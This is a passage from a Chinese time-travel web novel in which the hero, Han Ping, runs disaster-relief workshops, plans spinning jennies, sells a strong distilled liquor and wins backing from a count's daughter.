《开局一片荒田，结局百万雄兵》 第39章 视察 第三十九章 视察 “你不是监工，也不是工正吧？” 监工是一个工坊的总负责人，工正则是小组长，连续被收拾，边继荣想先问清楚。 灾民大叔神色淡然地摇摇头：“不是啊。” “那你为啥打我？你不说出个子丑寅卯，咱们没完。” 从当短工开始，一直在受气，边继荣受够了。 在八坨子山，他是一人之下万人之上，何等尊荣。 现在穿着一身破烂不说，感觉是个人都能打他耳刮子。 “我打你是为你好，你说你这个孬娃，怎么那么不懂事？” “没有韩先生，咱们这些人活不了，你怎么直呼其名？” “这也就是我听到了，要让监工或者工正听到了，立刻打一顿，把你赶走。” “做人不能忘本，你不敬韩先生，世道也不能容你。” 灾民大叔一板一眼地，那叫一个虔诚。 边继荣揉揉脸，咬咬牙，哈哈一笑：“是我没大没小了，怎么称呼您呢？” “我叫胡在用，胡家沟的。” 灾民大叔一边说着话，一边用力干着活，还不时地往手里吐口吐沫。 边继荣终于可以继续自己的问题：“胡大叔，韩先生让咱们挖坑是干什么？” 胡在用瞅了瞅周围，见没人注意，声音极低道：“那肯定是干大事，韩先生可是妖神，土匪见了韩先生，都能吓尿裤子。” 玛德！ 见胡在用神神秘秘的，还以为他知道什么内情了。 就这？ 这需要你来告诉我吗？ 边继荣不想说话了，在这儿干活的，档次都太低了，狗屁不通。 挖啊挖，就算他是练家子，也累得浑身发虚。 不干还不行，监工，工正一会转一圈，看见谁干活不努力，抬手就是一鞭子。 他就擦个汗，挨了三鞭子。 忍着疼痛，听着周围的人称颂着韩平，他无语极了。 灾民果然是有奶就是娘，韩平提供吃喝，怎么对待他们，他们都乐呵。 “工正，我想解个手。” 为了看清楚状况，他需要转转，工正不假辞色，拿出一个沙漏说道：“快去快回。” “好嘞！” 他赶紧跑到一个隐秘的地方，往山下看去，只见宽阔的平地上，分成了不同的格子，用篱笆区分开，干什么的都有。 在篱笆的外围，正在打地基，明显是要建房。 两万多人，显得声势浩大，又井井有条。 他哼了声，心说，韩平，你有种就过来，看看我杀不杀你就完了。 这里人多，明显都是乌合之众，杀了韩平，他也有把握逃走。 心里有个章程，他解了手回去。 噗！ 手还没摸到铁锹呢，工正一脚踹他后腰，他直接扑倒在地，来了个狗啃泥。 “为什么又打我？” 边继荣哭了，这都第几回了？ 干个短工，连钱都拿不到，挨打没数，这是人过的日子吗？ “你解手用时过长了，不管你是大手还是小手，这个沙漏流完之前，必须回来。” 工正理所当然，往木质沙漏里放入沙土，沙土顺着沙漏的漏口，沙沙地往下流，速度极快。 “是这样啊，我错了，我以后改正。” 心在滴血，脸上带笑，边继荣憋屈得要死。 这什么狗屁工坊，解个手还要计时，真踏马黑！ “边继荣，工号丙丑八六，干活时和人交头接耳，以解手为借口偷懒，态度轻浮。” “我给你的评价是下下，如果三次下下，你就得调岗了。” “调岗之后还是下下，工坊会将你除名，永不录用。” 好像没有感情的机器，工正拿出毛笔，在边继荣的名字后面，打了一个叉叉。 瞬间，周围的长工也好，短工也好，干活更卖力了三分，而且，自动远离边继荣，好像他是瘟疫一样。 “我会好好干的。” 土匪窝里的二当家边继荣感觉自己被孤立了，被欺侮了。 他一边努力干活，一边存着气，咬牙切齿，等着吧韩平，别让我看到你。 看到，必杀你！ 接下来他干活用心了，别没杀到韩平，先被除名了，那不是丢人丢到姥姥家？ 熬啊熬终于熬到下班，专门有人带着去用餐。 “三等餐，菜团子十个，蒜瓣一粒，盐水随便喝。” “都别抢啊，按照次序过来领。” 负责放饭的大声吆喝着，边继荣那是怒不可遏，累了半天，汗水都快流干了，就给吃这？ 在山寨，他习惯了大鱼大肉，菜团子什么的，真的是没胃口。 不吃也不行，下午还得干呢。 他半死不活地领取自己的一份，还要听取周围赞美的声音。 “我嘞个老天爷，韩先生可太大方了！” “那是，你看这菜团子，多白多压手，里面得有两成的白面。” “我还是第一次吃蒜瓣呢，真香！” “都慢点吃，之前饿太狠了，一下子吃太多了，会撑坏的，喝点水顺顺。” “哎呀，韩先生这是把咱们当亲儿子养啊。” …… 在灾荒里打滚，生死线上翻腾，这里的人，除了边继荣，都是很久没吃过饱饭了。 有些人吃着吃着，眼泪下来了。 “呜呜呜……我对不起韩先生，我干活的时候没尽全力。” “我下午一定好好干，东家太舍得下本钱了，咱不能对不起良心。” “好好干就对了，你们听说了吗？短工干得好，可以转成长工。” “真的吗？还有这好事？” “长工不光有十文钱，吃的也好，听说今天他们吃的是猪油炒野菜，那油花花，层层叠叠的。” “不光有菜，还有酸汤呢，这个天气，喝点酸汤，老美了。” …… 不好吃！ 这是边继荣的感受，他硬撑着吃了下去，只想赶紧见到韩平，然后动手刺杀。 可能是上天听到了他的呼唤，晡时，韩平来了。 边继荣握紧铁锹，心说一铁锹下去，非得打死他。 扑通！ 工正一脚踹他后腰：“混账东西！韩先生来了，敢不下跪？” 工正还嫌他跪得不端正，连踹了好几脚，边继荣疼得倒吸凉气，站起来都费劲。 再看左右，都跪着呢，有人一边跪，还一边感动泪流。 边继荣是欲哭无泪，刺杀对象就在眼前，他啥也干不了啊。 关键，他是来杀人的，结果人没杀了，先给人跪了，这要传到江湖上去，八坨子山二当家边继荣的脸面，稀碎！ 韩平也不说什么，只是看了看。 让人下跪这个事，纯属无奈。 他之前生活的时代，人人平等是共同价值观，这个时代，人人不平等才是共同价值观。 在这里谈人人平等，那是大逆不道，会被诛九族的。 君君臣臣父父子子，上下尊卑，半点也不能乱。 他统率两万多长工短工，有点威风也是应当。 挖坑是要挖出一个山顶湖，过滤之后，把竹竿掏空，为工坊输送自来水，这样不管是生活，还是工作，都方便。 视察完这里，他又去了女子工坊。 没到地方呢，听到一片孩子的哇哇哭声，顿时眉头一皱。 第40章 争风吃醋 第四十章 争风吃醋 在这个世界生活得越久，韩平便越明白一个道理，那便是——白莲花不解决问题，善意不解决问题，一切要从实际出发。 留下几百个寡妇，建立女子工坊，就必须要有作用，必须有生产力，不然，别人会有意见的。 因为女子不方便被男人看到，用幔帐围了起来。 当然，他是可以进入的。 “韩先生来了！” “韩先生，对不起，我们也不想这样的。” “别赶我们走行吗？我们会加快速度，不耽误做工。” …… 里面乱七八糟，女人们跪着，小鬼们哭着，粗大的竹子散落一地。 刚开始，韩平交给女子工坊的任务是制作竹罐。 他要赚的是贵族的钱，所以包装格外重要。 竹罐是用来装白糖的，竹罐外面还要打磨出花纹来，突出一个精致。 白糖的名字他都想好了，就叫君子糖。 君子当洁白如玉，粒粒分明，不说别人，向来推崇白玉的文人骚客，绝对会喜欢白糖。 但有一点，这是食品，质量绝对不能出问题。 竹罐制作好之后，先要用盐水煮一下，这样可以杀菌，也能防止发霉。 然后在阴凉通风的地方，口朝下晾干。 这样既能保留竹罐的清香，又不会有健康问题。 文人本身就喜爱竹子，宁可食无肉，不可居无竹。 用竹子装象征着高洁的白糖，简直是珠联璧合。 可现在……就这个做工环境，怎么能做出来高标准的竹罐？ “先生，是我不善经营。” 赵杏儿也跪了，别人狼狈，她倒是收拾得干干净净，身上还有淡淡的脂粉香气，十分好闻。 “不能怪你，第一个要解决的，是孩子的问题。” “做工是不能带孩子的。” “这样吧，你从里面选出几个擅长照顾孩子，最好还识字的，作为蒙学师傅，专门负责看顾孩子。” “女工们上工前，把孩子交到蒙学处，下工了便去接孩子。” “蒙学师傅的工钱，从女工的工钱里出。” 这些孩子都是单亲家庭，韩平算是开设了一个类似幼儿园的机构，女人们都是感激涕零，又惊又喜。 不久前，她们快要饿死了，现在她们能够做工赚钱，孩子还能上蒙学。 其实她们也知道，孩子如果认识字，将来会有好的生活，可她们支付不起啊，要认字，首先就要上蒙馆，学费昂贵。 之后还要上经馆，更昂贵。 至于私塾，那是大家族子弟才有的待遇，她们的孩子，想也不用想。 “先生睿智仁心，杏儿钦佩至极。” 这么难的问题，韩平几句话就解决了，赵杏儿眼眸如星空，光彩璀璨，韩平笑了笑说道： “还有一个问题，咱们女子工坊，主要负责的是包装工作，一定要干净，这方面要改进。” “杏儿会督促大家的。” 其实赵杏儿也不习惯这里脏兮兮的，她的家庭在灾荒年，都能撑下去，是有点资财的。 她过得虽然不是大小姐的生活，也是衣食无忧，卫生习惯和这些寡妇就不一样。 “嗯，过些天会有工服发放，每天检查清洁，也是你作为监工的职责。” 交代了下，韩平也没有过于强硬，想让一群在饿死边缘徘徊的寡妇，突然变得干净卫生，几乎是不可能的。 慢慢来吧，给她们点时间。 …… “现在好了吧？我连二房都当不上了。” 曹淑君眼圈红红的，嘴唇嘟着。 这真是一步赶不上，步步赶不上。 她本想着，可以成为韩平的第一个小妾，虽然地位不如夫人，将来有了孩子，好歹也是个如夫人。 哪知道赵杏儿竟然那么大胆，身为一个女儿家，主动送上门。 “我也早说呢，韩先生一看就是个能人异士，咱闺女给他当小妾，属于高攀。” 孙兰梅也是倍觉惋惜。 那赵杏儿多肥美，自己闺女和人家没法比，别说闺女了，就是刘雪宝，也没法比。 庞然大物，欺霜赛雪，哪个男人会不喜欢？ “那你也过去韩家，先占着位置，韩平不是没有娶赵杏儿呢。” 怎么也没想到，韩平弄那么大，现在去一趟韩宅不容易，人家已经是高门大户了。 之前他还小家子气地，不愿意给人家送新婚礼物呢，现在送，人家也看不上。 “哼！早该这样了，等来等去，连汤也喝不上。” 气呼呼地收拾自己的包袱，妥帖之后，曹淑君背上就走。 曹本荣在后面看着，心说，果真是女大不中留，留来留去成冤仇。 女儿的心，早就飞到韩平身边了，就是打着骂着，怕也是打不走，骂不去。 进韩家固然需要通报，不过曹淑君是认识刘雪宝的，不多一会，便获准进去了。 “妹妹来了。” 在卧房里，刘雪宝有点病恹恹的，曹淑君一看便知道，和赵杏儿有关。 她把包袱放在一边，握住刘雪宝的手：“夫人若是不嫌弃，奴家愿意和夫人一起，对付那赵杏儿。” 刘雪宝咬咬嘴唇：“咱们两个，哪里是她对手？” 自从在晚上的折腾里找到了某种不可言说的快乐，她对韩平，是爱到了骨头里。 如今家业日渐昌盛，她已经是名副其实的夫人。 可赵杏儿一来，立马把她比下去了。 才一天，老太太就喜欢得不得了，一口一个我们家杏儿。 不服不行。 最可怕的，赵杏儿还认识字，刚来就把女子工坊给监管了，手底下几百号人，怎么看，都和相公更般配些。 一比较，自己像个丑小鸭。 “夫人不可气馁，赵杏儿能帮着做事，咱们也行。” “从今天起，淑君愿意作为夫人的丫鬟，协助夫人，只待事成之后，夫人允可淑君入门即可。” 可能是生活环境的缘故，曹淑君看刘雪宝，怎么看怎么顺眼，看赵杏儿便怎么看怎么不顺眼。 更可恨，赵杏儿来势太过凶猛，打她个措手不及，她本想着和韩平慢慢熟络，有个缱绻过程。 “淑君，你便放心好了，我必尽力向相公推荐你。” “咱们两个齐心协力，或许相公不会被赵杏儿夺走，也说不定。” 赵杏儿的优势太大，刘雪宝终究信心不足。 正说着呢，韩平回来了，二女对个眼色，马上行动了起来。 第41章 纺织车 第四十一章 纺织车 “你们这是？” 转了转，发现一切有条不紊进行中，韩平便打算回来歇歇。 哪知道刚进卧房，就看到刘雪宝和曹淑君两个，每人脖子上缠着个布条，你勒我的脖子，我勒你的脖子。 姿态格外诡奇。 “相公，我没什么用，帮不到相公，所以我不活了。” “韩先生，我是夫人的丫鬟，我没有赵杏儿腚大，不配给先生当小妾，所以我也不活了。” 这俩怎么有点傻乎乎的？ 她们可能是听说过，女人有三大法宝，一哭二闹三上吊，所以也跟着学，只是，太拙劣了。 “可是，上吊应该挂房梁上，脚下踩着凳子，踢开凳子，很快就会吊死。” “吊死的人，舌头会吐出一尺来长，哎哟，丑得厉害。” 不是韩平无情，实在是两人太稚嫩。 一听到那么丑，两人赶紧把脖子上的布条扯下来了，手足无措的样子。 最后，还是刘雪宝大着胆子道：“相公，我们也想帮着相公做事，我们才不吃白饭呢。我们两个，难道还比不过赵杏儿一个吗？” 被比下去了！ 从赵杏儿住进来，刘雪宝就是这个感觉。 她偷偷地看了看，比了比，赵杏儿比她高，骨架比她大，骨架上的肉也比她多。 至于赵杏儿的腚，一个顶她两个。 从小到大，什么样子的女人是好看的，她都听出茧子来了，所有的标准，赵杏儿完全符合。 简单来说就是，白嫩，巍峨，肥美。 女人应该像大地一样，善于孕育，给男人饱满，富态的印象。 越比，她就越自卑。 有赵杏儿在，她实在想不出，相公干嘛还要在她身上，而不是在赵杏儿身上。 “想做事？并不是不可以。” “只是，你是我的妻子，当为众女之仪范，上吊之类的事，万万不能做了。” 要不要让刘雪宝出来做事，韩平是犹豫的，主要是她的性格，柔弱内向敏-感，如何能管理一个工坊？ 可话又说回来，谁都是慢慢学的，她愿意上进，肯定是好事。 “我再也不敢了。” “我也是，虽然韩先生看不上我，我会好好活着，协助姐姐。” 这两人的性格倒是很像，只是曹淑君一口一个自己看不上她，似乎隐含着幽怨。 韩平真没看不上她，只是太忙了，大家又没聊过，缺乏了解。 “既然这样，我便把一件艰巨的任务，交给你们两个。” “现在长工短工，共有两万多人，每个人都要有专门的衣服，你们便负责这个。” 能自己来的，还是要自己来，这样便宜，如果去购买，花的钱就多了。 纺织？ 两女对看一眼，雀跃起来，她们别的不说，织布可是从小到大都在做的。 穷人家基本不会买衣服，都是自己用纺车织布。 “相公，这个我可以做。” “虽然韩先生嫌我丑，不肯要我，但纺织我真真是会的。” 曹淑君还是不忘强调一下自己的处境，这主要是因为，论相貌，她不输给赵杏儿，刘雪宝。 论身材，她在两人之间。 韩平娶了刘雪宝，让赵杏儿当监工，感觉偏偏躲过了她，她心里委屈得慌。 “知道你们会，不过我打算制作一种新的纺车，织布的速度会变得更快。” “这段时间，你们先学着，等学好了，我会给你们安排一批女工，让你们带着织布。” 这个时代的纺车，效率太低，穷人要织出一件衣服来，往往需要耗费时日。 就仅仅是纺纱，没有七八天不行。 织布再用个七八天，一件简单的衣裳，就得半个月。 这么来，两万多人的工服，什么时候能做完？ 他的打算，是制作珍妮纺纱机，以及飞梭织布机，大大提高效率。 这两件木工装置，在历史上，是推进产生的。 先有了飞梭织布机，织布数量暴增，导致棉线不够用，才出现了珍妮纺纱机。 所以，两者天然就是配套的。 珍妮纺纱机的厉害之处在于，普通的纺车一次只能纺一根线，珍妮纺纱机能够一次纺线一百二十根。 根本是天翻地覆的改变。 因此，很多人认为，珍妮纺纱机是工业革命的前奏。 不过刚开始，韩平并不打算制作出能纺一百二十根的，而是从最简单的，也是最稳定的开始，那就是纺十四根线的。 这个数量，一个人完全顾得过来，也好计算每个人的工作效益。 “新的纺车？” 两女都有点慌。 她们习惯了保守，对新的东西，总是害怕的。 韩平没有犹豫，很快把每个部件的图纸画了出来，把木工任务交给林爱馍，把铁工的任务交给负责的铁匠。 珍妮纺纱机和飞梭织布机，最大的好处是，里面不存在什么高科技，最高明的是它的设计思维。 就是用现有的材料，也能很快制作出来。 韩平之所以会做，那是因为，他从小就喜欢拆卸，安装，所以他知道，要学习一件东西，是很枯燥，很痛苦的。 但是，要安装制作一件东西，却有着莫大的兴趣。 就说珍妮纺纱机，一想到学这玩意，谁都头疼，但一想到制作一台，真的去运行，谁都会兴趣盎然。 “在工坊工作，会非常辛苦，你们两个的身子，都太弱了，在纺纱机，织布机出来之前，你们要做的，是吃好睡好，养好身体。” 又交代了两句，韩平便休息了起来，对于伺候人，两女倒是擅长，刘雪宝赶紧给韩平按摩太阳穴，曹淑君则轻轻捶腿。 刚开始，韩平有点不适应，但慢慢就觉得，这样挺好。 休息了半个时辰，他又去了一趟酒水工坊。 根据现有条件，阎罗醉是最先推出来的产品。 一来，他不是酿酒，而是从现有的酒水中提纯，过程简单，酒精度数也不用那么精确，在六十度左右即可。 二来，市面上有现有的酒坛，马上可以包装。 “韩先生，弄了五十几坛了。” 监工石出火兴高采烈的，他上手挺快，现在对酒水的度数，有了基本的判断。 这里也没什么测量工具，方法就两个。 一是看酒花，用勺子扬酒，如果激起的酒花有黄豆那么大，便是六十度以上。 如果是绿豆大小，便是五十度左右。 如果是米粒大小，则是四十度左右。 二是，品尝。 五十度和六十度，辣度不同，专业的品酒师，喝一口，什么都知道了。 当然，石出火还不具备品酒的能力，只是每出来一批酒，他总不放心，忍不住尝一口，这回都有点微醺了。 “挺好！” “只是有一点，你也要让大家注意清洁的问题。” “过来做工，必须穿干净衣服，必须洗过澡，你要重点检查。” 食品行业，这一点必须做好。 叮嘱了几句，韩平去了伯爵府，他第一次从曹师爷那里拿了一千两，转眼就花光了。 第42章 不给钱了 第四十二章 不给钱了 伯爵府内堂。 伯爵夫人拿着一封信，一边看一边叹气：“你二哥要想娶房侍郎的闺女，怕是难。真是世风日下，这般大家闺秀，竟然公开考究男子的诗词，还说你二哥的诗词，太过匠气。” 男尊女卑，父母之命媒妁之言，这些规矩是对普通女子。 但总有特殊的。 比如房侍郎的闺女房春白，公开放出话去，必要寻一文采绝艳的，才肯委身下嫁。 她自己家学渊源，对诗词的品鉴能力也高，几乎所有想要抱得美人归的文士，都碰壁了。 “我觉得蛮好，凭什么只有男子挑选女子，女子怎么就不能挑选男子了？” 一边的四小姐谢京珠，抱着话本回了句。 她天真浪漫，还完全没想过，自己该找个什么样子的相公。 只要是新奇的，出格的事，她便喜欢。 “你看看，你二哥把房小姐比喻成春天盛开的花儿，这不挺好的吗？” “女人就是不能读书，一读书，心就飘了。” 竟然看不上自己的宝贝儿子，伯爵夫人对这个房小姐大有意见，可要说惩罚什么的，那是没得可能。 别看谢家是伯爵，在地方上位高权重，在京城，伯爵本身就没那么高，房小姐的父亲又是吏部侍郎，手里握着监察权。 名义上，不管是谢伯爵还是大儿子谢朝乘，都在人家的监察之下。 给你面子叫你一声伯爵，不给面子，那就是臭丘八。 毕竟，大越王朝说是武将的地位越来越高，可朝廷的根本还在文官手里，文官看不起武官，那是向来如此。 边关打仗武将可能很厉害，但在朝堂上，武将根本没法和文官抗衡。 文人一肚子心眼子，眼睫毛都是空的，哪里是一帮大老粗能对付的？ “十个文人，有九个都是把女人比成花朵，拾人牙慧，全无新意，难怪被嫌弃。” 谢京珠嗤之以鼻，伯爵夫人却忧心得很。 如果伯爵府能和吏部侍郎成了亲家，那谢家在京城，也就稳当了。 大儿子为什么宁可死，也要守着渔阳城，还是因为，谢家经不住这样的挫败，一旦被人弹劾，很可能就一落千丈。 “你看你没心没肺的样子，你二哥在京城不顺，你大哥被围在渔阳城，你不担心？真是白疼你了，一点用也没有。” 心里烦，伯爵夫人便嘟囔了谢京珠两句。 谢京珠小嘴一瘪，心里格外不服气。 哼，等着吧，我比三个哥哥，都强。 母女正在说话，大管家陈泓过来，行礼后说道：“夫人，韩平又来了，这次他要两千两。” 作为主母，伯爵府的事情，任何风吹草动也逃不过伯爵夫人。 光是听到谢翼圣许诺韩平，要多少钱都给，她就心里膈应。 她格外不喜欢出身低下的男子，认为他们根本不算男子。 对韩平更是第一眼就厌烦。 “哼！” “他倒真是不客气，我们谢家辛辛苦苦，攒了些银钱，竟是为他准备的。” “告诉曹师爷，不要给钱。” “唤韩平过来，我倒要问问，他到底还要花我们多少钱！” 陈泓笑眯眯地去了。 他是不喜欢韩平的，因为韩平干的事，太离奇，出乎想象。 就说他收容了几百个寡妇做工，开天辟地以来，从未听说过。 不多久，韩平来到内堂，礼毕，伯爵夫人上下打量，几日不见，韩平骨肉丰隆，颇有威仪。 一想到他是吃了伯爵府的，伯爵夫人心内不喜。 “韩先生要钱，原是老三许给你的，应该给。” “但总应该让我们知道，你把钱都花哪儿去了吧？” “才一天就花了一千两，今儿又要两千两，我们家里也没有金山。” 听着伯爵夫人的阴阳怪气，韩平尽量解释清楚。 之所以花那么快，主要是起步阶段，需要花钱的地方，太多了。 还有长工，短工的工钱，都是按天发放的，因为这些人，一天没钱，全家就得饿着。 所以，赶紧投入销售就非常重要。 由于所卖的阎罗醉是高档品，穷人绝对买不起，肯定要租一个高档店面。 其实就是酒肆现有的黄酒，穷人也买不起。 闹呢，一斤黄酒如今的价格来到了二十二文。 只有贵族和大商贾才喝得起。 “哦，要租店面了，便是说，开始盈利了。” “不知韩先生贩卖的酒水，多少钱一斤？” 伯爵夫人对此还是了解的，酒水的利润并不高，灾荒年，能喝得起酒的，又格外少，卖给谁去啊？ “寻常黄酒，二十余文钱一斤，我卖的阎罗醉，一千文一斤。” 一千文的价格，等于放到了奢侈品的高度，完全不是普通人消费得起的，韩平要这个价，是深思熟虑过的。 要想卖高价，噱头必须有，高价本身就是一种噱头。 越朝的习惯，把一文钱也叫做一金，很多公爵，侯爵，动不动赏万金，并不是奖赏一万两金子。 这真的给不起。 就说伯爵府，都没有十万两银子，怎么可能赏出去？ 此处所说的万金，是一万个铜钱，也就是一万文钱，换算下来，几百两。 要价千文，韩平是要打出千金买醉的噱头。 “一千文？” “你疯了吗？你的酒喝了能成神仙啊？” “谁买啊？” “简直可笑。” 雍容的伯爵夫人，脸都变形了，四小姐谢京珠，大管家陈泓也是惊异，知道韩平离谱，没想到离谱到这种地步。 很多穷人家，一千文钱能支撑一年。 “夫人，我的酒格外不同。” “有什么不同？” 三个人齐刷刷地看着韩平，酒嘛，谁没喝过咋地？ 你要一千文，别人就给，谁是傻子啊？ 他们等着，以为韩平会说阎罗醉多么好喝，什么入口柔，一线喉，哪知道韩平说道： “我的酒能点着。” 哈？ 三人都懵了，这是什么鬼话？ 伯爵夫人看向大管家陈泓：“陈管家，酒能点着吗？” 陈泓急速摇头：“绝不可能！” 韩平笑了：“其他的酒不成，我的酒可以，所以才会如此之贵。” 能的吧你！ 为了证明韩平在胡说八道，伯爵夫人让人去工坊取一坛酒，气咻咻地说道：“点啊，我看你怎么点着的。” 被三双眼睛盯着，韩平没当回事，倒了一碗酒，拿出火折子一碰。 滋啦！ 酒水上燃起了淡蓝色的火苗，丝毫没有停下的意思。 “哇！好厉害！” 谢京珠跳了起来。 她就喜欢稀罕玩意，能点着的酒，从没见过，她之前就想抢走韩平这个人才，现在更想了，眼珠子转动个不停。 伯爵夫人脸上有点挂不住，她不愿意认输：“就算你说得对，能点燃，哪又如何？一千文的价格太贵了，根本不会有人购买。反正今天不会给你钱的，除非你的酒，真的能卖出去。” 第43章 大气的谢四小姐 第四十三章 大气的谢四小姐 麻烦了！ 从伯爵府出来，韩平心中着急。 他现在铺开的摊子太大，就算现在马上能够卖酒，赚取的利润，也没法覆盖花销。 也就是说，很快工坊就会支撑不下去。 这不应了一句话——眼看起高楼，眼看楼塌了。 “韩平！” 正在叹气，四小姐谢京珠追了出来，神神秘秘的，带着他来到一处偏僻地方，“你需要钱对吧，我可以给你，但是，你必须做我的客卿，愿意吗？我手里可有一万两银子呢。” 谢京珠对韩平是志在必得，心里忍不住紧张。 早就听说过，文人最是执拗，讲究风骨，讲究忠臣不侍二主，讲究从一而终，所以她直接报出了一万两。 韩平愣了下，他没想到，谢京珠有那么多钱。 有一万两的话，便完全能够周转过来了。 真是想睡觉来枕头，他老实不客气，推金山倒玉柱，丝滑地单膝下跪，语音朗朗，君子诚诚： “韩某飘零半生，只恨未逢明主，今见四小姐，如拨云雾而见青天。四小姐若是不弃，韩某愿拜为……” 《三国演义》看多了，韩平张口就想说，愿拜为义父，猛然间意识到不对，对方是女生。 要不，愿拜为干娘？ “拜为什么？” 谁都喜欢听好听的，韩平说得，颇为新鲜，谢京珠打心眼里高兴。 韩平琢磨了下，痛快道：“愿拜为主公。” “主公？这个好，我喜欢当主公！那从今天起，你表面上是三哥的客卿，其实是我的属下，给！” 办事也真是利落，谢京珠从腰间拿出两张银票，都是恒昌号的一千两大票。 韩平赶紧接过，心说，认识点地主家的傻孩子就是好。 人家有钱真给！ “四小姐，韩某不能平白地拿您的钱，不如这样，之前我和三少爷合伙做酒水生意，赚了钱一起分，不如我们合伙做玩乐的生意。” 人家给钱了，就要给人家回报，这点韩平还是可以做到的。 谢京珠别的不好，就爱玩乐，眼睛亮堂堂：“玩乐也能做生意？怎么做？” 她只听过玩物丧志，嘉陵城的纨绔子弟，走狗斗鸡，提笼架鸟，只要是这样的，往往会被认为是败家子。 “简单！” “最先，咱们可以营造一处巨大的玩乐基地，进行各种比赛。” “比如说斗牛比赛，比如蹴鞠比赛，谁赢了，咱们给奖金，请大家白看。” “如此必然有很多人过来看。” “等大家都看习惯了，上瘾了，咱们便开始收钱，看一场一文钱不多吧。” “里面能够容纳一万人，便是一万文。” “除了花销，还能剩下不少。” 先培养顾客的使用习惯，然后再收钱，这烂招，韩平见过太多了。 这个时代缺乏娱乐，相信一定耍的开。 实在不行，把拳击，比武，人和老虎打架，老虎和老虎打架，以及赌盘什么的，都开起来。 再是灾荒年，那些世代勋贵和大财主是不缺钱花的。 “这个好，我也要看，女子可以看的，对吧？” 整天闷在府里，只能看点话本打发时间，谢京珠太想有好玩的事了，韩平早就想好了： “那是自然，观看台的位置，分成五等，给您安排最上等的位置最好的单间，您想看什么就有什么。” 到处都在饿死人，韩平觉得，就算办一些残酷的比赛，比如让人和老虎对打，也没什么过分的。 反正这会的原始森林众多，老虎多得数不清，还不是保护动物呢。 人靠着盾牌，武器，只要赢了老虎，或者在老虎的爪牙下挺过来，便能收获奖金，相信，会有无数人想要铤而走险。 “我想看什么？” “我平常就喜欢看个话本，只是能看的，都看了好几遍了，没有新的了。” 人想象不到没见过的东西，韩平能给的新鲜玩意多了，比如摩天轮，鬼屋啊什么的，谢京珠没见过，自然也没法提。 说到话本，韩平自信满满：“四小姐，我让人给您演话本，真人话本。《白娘子传奇》你没看过吧？ 《射雕英雄传》你没看过吧？ 《天龙八部》没看过吧？ 《冰与火之歌》没看过吧？ 《指环王》没看过吧？ 《金刚》没看过吧？ ……” 啊？ 谢京珠小嘴张开，合不上了。 她是伯爵之女，能搜到的话本，都搜到了，还以为天底下的话本，已经看尽了。 哪知道还有这么多，听都没听过的呢。 光是名字，就特别有意思。 “再给你两千两，赶快把这瓦舍建起来。” 她也是急了，给钱那叫一个大方。 这时候的瓦舍，也叫瓦市，是一种商业游艺区，瓦舍里面演出唱戏的地方，叫勾栏。 勾栏的意思是曲曲折折的围栏。 勾栏瓦舍就是这么来的。 比较大的瓦舍，往往有几十个勾栏，简单来说就是有几十个演出台子。 这个时代的娱乐活动，除了庆祝节日的社火，便是勾栏瓦舍。 两者的不同很明显，社火偏于仪式，比如踩高跷，舞龙舞狮，扭秧歌，跑旱船，打铁花，主题是祭祀。 勾栏瓦舍也不仅仅是唱戏，还有杂剧，傀儡，相扑，驯兽，下棋，说书，吟叫，蹴鞠等等。 “主公，您就请好吧。” 拿了钱必须给人办事，韩平打算，专门调拨一批人，先弄瓦舍，他在空闲的时候，把《白娘子传奇》的大概剧情写一写。 “对了，那酒能卖出去吗？” 第一次收拢了人才，谢京珠想着韩平是自己的人，便忍不住关心。 “应该可以的。” 没做到呢，韩平没有大包大揽。 …… 嘉陵城最大的贵族是谢家，最出名的，却是人称诗酒剑三圣的路斯道。 他原是进士出身，十年前弃笔从戎，毅然决然地到边关打仗。 因军功，受封子爵。 最大的悲哀是，当他功成归来，爱妻却已亡故。 为此，他辞官不做，回归乡里，是嘉陵城一等一的清贵。 这一日他心里烦闷，正在街头晃荡，不经意抬头，心中剧震。 只见前面酒肆，挑出一杆方旗，上面写着：喝最烈的酒，忘最爱的人！ 第44章 好词，好诗，火了 第四十四章 好词，好诗，火了 无数个日夜，路斯道在思念中忏悔。 如果自己早点回来，爱妻当不至于撒手人寰，他以前是不饮酒的，而今已经是日日饮酒，想醉却越来越难。 看到这行字，豁然有感，快步走了过去。 他一来，看热闹的人，纷纷让在一边。 这些人有的穿着比较华丽，是有点资财的，有了新的酒肆，他们想买，但听到一千文的价格，嫌贵了。 有的穿得破破烂烂，是逃荒的饥民，之所以守在这里，是想看看，工坊里出来的酒，有没有人买。 如果有人买，那工坊便还会招人。 毕竟，嘉陵城那么大，酒好，可以再开几个酒肆，甚至开到京城去。 人快饿死的时候，心思灵活，说白了，他们是来寻希望的。 “三圣爷来了，您里面请，我们的酒，全天下第一烈，保您满意。” 诗酒剑三圣的大名，谁人不知啊。 店小二拿起肩膀上的白手巾，把亮堂的桌子板凳又擦拭了一遍。 路斯道环顾了一下酒肆内部，发现这里的陈设倒是不错，只是空无一人。 刚要坐，被墙上挂着的画吸引了去。 靠近一看，热泪滚滚而下。 “谁？这是写的？” 因为太过激动，路斯道一把抓住了店小二的手脖子。 店小二慌了：“爷，这是我们韩先生亲手所写，莫非什么地方犯了爷的忌讳？” 韩平招来的店小二，是以前干过的。 因为灾荒，很多饭馆，酒肆，店面关门了很多，店小二也没饭辙。 熟手办事妥帖，尤其擅长说个拜年话。 “那画怎么了？” “好像是画上面的字，让三圣爷不高兴了。” “怎么这样，工坊好不容易酿了几十坛酒，还没开张就得罪人了。” “完了！卖不出去，工坊怕是不会招人了，你们知道吧，短工一餐饭都有十个菜团子，还有一瓣蒜呢。” “何止，有人干得好，转成长工，一天能赚十文钱呢。” “要不咱们待会求求三圣爷，别砸了招牌。” …… 灾民胆战心惊的，怕美好的希望没有了，里面的路斯道哭红了眼睛。 他的眼前，是一幅画。 上面画着一个中年落拓的文士，穿着长衫，坐在廊下喝酒，看着院子里的一片苍翠，显得落寞，惆怅，悲苦。 比寻常的画，更见逼真。 留白处写着：庭有枇杷树，吾妻死之年所手植也，今已亭亭如盖矣。 “韩先生？此人真乃鬼才！” “就为这句绝妙话语，也得喝他三坛。” “上酒上酒。” 路斯道越是玩味，越是察觉到，这句话情深似海，内藏悲苦，正是他数年心绪映照。 他平常喝酒，都是论坛，店小二苦涩地笑了笑，斟了一碗酒。 “这点酒够干什么？” “嘶……哎呀，哎呀……嘶……” 作为酒国老前辈，看到清冽如水的酒，本就好奇。 等酒水入口，辛辣清香，猛烈地侵袭，只喝了那么两口，他已经有了微醺之意。 不管是黄酒，米酒，果子酒，度数都比较低，普通人喝还行，他这种，往往是喝饱了，还没醉呢。 “三圣爷，我们这是天下第一烈酒，阎罗醉，爷满意不？” “满意满意！此等美酒，实在是我生平仅见。” 